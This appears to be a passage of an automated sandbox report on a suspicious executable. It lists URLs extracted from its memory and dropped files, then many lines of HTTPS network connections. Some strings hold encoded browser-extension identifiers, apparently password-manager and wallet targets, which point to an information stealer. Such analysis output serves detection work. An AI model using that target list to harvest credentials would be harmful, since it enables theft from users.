Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_484.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_484.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_484.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_484.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: AAKEGIJEHJDGDHJKJKKJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10#
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log4.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log10.8.dr, 000003.log1.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13374799892428121.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_484.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_488.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_488.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_488.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJEHJDGDHJKJKKJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJEHJDGDHJKJKKJ.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: EHDAAECA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_484.4.dr	String found in binary or memory: https://www.google.com
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 4ae54eef-b53c-4bfe-9d79-f53367be85b3.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_488.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_488.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_484.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_484.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_484.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2636691992.00000000004B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2636691992.00000000004E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2636691992.00000000004E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2636691992.00000000004B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2636691992.00000000004E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2636691992.00000000004B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/1280x1024
Source: file.exe, 00000000.00000003.2610568342.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2636691992.00000000004E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2636691992.00000000004E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2610568342.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2636691992.00000000004B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2636691992.00000000004E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2610568342.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2636691992.00000000004B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2636691992.00000000004B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: 8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
